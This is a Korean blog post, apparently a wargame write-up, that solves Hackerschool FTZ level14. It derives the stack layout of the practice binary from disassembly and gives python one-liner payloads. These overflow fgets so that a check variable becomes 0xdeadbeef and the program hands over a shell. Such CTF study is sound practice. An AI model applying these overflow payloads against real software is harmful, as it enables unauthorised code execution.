-->

[해커스쿨 FTZ] level14 풀이

FTZ level14 문제 확인

취약점이 있는 fgets 함수를 이용해 bof를 수행하는 문제인데 check가 0xdeadbeef일 때, system 함수를 사용해 쉘을 실행시키고 있기 때문에 쉘코드를 쓰거나 RET까지 덮어줄 필요는 없어보인다.

 

 

 

FTZ level14 문제 풀이

dummy를 잘 알아내는 것이 관건인 것 같은데 다 알아낼 필요는 없이 buf와 check 사이의 dummy 크기만 알아내면 된다.

 

buf (str) : 20바이트 (0x14) 
dummy : ?
buf (check) : 4바이트 
dummy : ?
buf (crap) : 4바이트
dummy : ?
SFP : 4바이트 
RET : 4바이트

 

 

사실 dummy 크기를 알아낼 필요도 없다. buf 뒤에 check 부분만 0xdeadbeef면 되므로 그냥 20바이트 뒤를 채워주기만 하면 된다.

 

\x90*20 (20바이트) 
+\xdeadbeef*? (?바이트)

 

 

따라서 아래와 같이 익스플로잇 코드를 사용하면 쉘을 획득할 수 있으나...우리는 공부를 해야하는 입장이므로 좀더 상세하게 코드를 작성해보자.

 

(python -c 
'print 
"\x90"*20
+"\xef\xbe\xad\xde"*10';cat) | ./attackme

 

 

disas main으로 main함수의 어셈블리를 보면 dummy값을 알 수 있다.

 

 

 

fgets의 첫번째 인자가 buf 이므로 buf 주소는 0xffffffc8이고 밑에 cmp로 0xdeadbeef인지 비교하는 대상인 0xfffffff0은 대략 check 주소임을 유추할 수 있다. 따라서 buf~check 사이의 dummy는  0x28 (40바이트) 이다.

 

pushl 0x8049664 // fgets 인자3
push  0x2d // fgets 인자2
lea   0xffffffc8(%ebp), %eax
push  %eax  // fgets 인자1
call  0x8048360 <fgets>
add   0x10, %esp
cmpl  $0xdeadbeef, 0xfffffff0(%ebp)

 

 

따라서 스택 구성은 아래와 같다.

 

buf (str) : 20바이트 (0x14) 
dummy : 20바이트 (0x14)
buf (check) : 4바이트 
dummy : ?
buf (crap) : 4바이트
dummy : ?
SFP : 4바이트 
RET : 4바이트

 

 

FTZ level14 attackme exploit

buf~check 사이의 dummy가 20바이트이므로 buf 크기인 20에 dummy를 더한 40바이트를 NOP으로 채워주고 그 뒤를 0xdeadbeef로 채워 아래와 같이 익스플로잇 코드를 작성했다.

 

(python -c 
'print 
"\x90"*40
+"\xef\xbe\xad\xde"';cat) | ./attackme

 

 

아래와 같이 쉘과 level15로 가는 비밀번호를 획득할 수 있었다. 

 

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level13 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level12 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level11 풀이  (2) 2020.02.12

댓글

Designed by JB FACTORY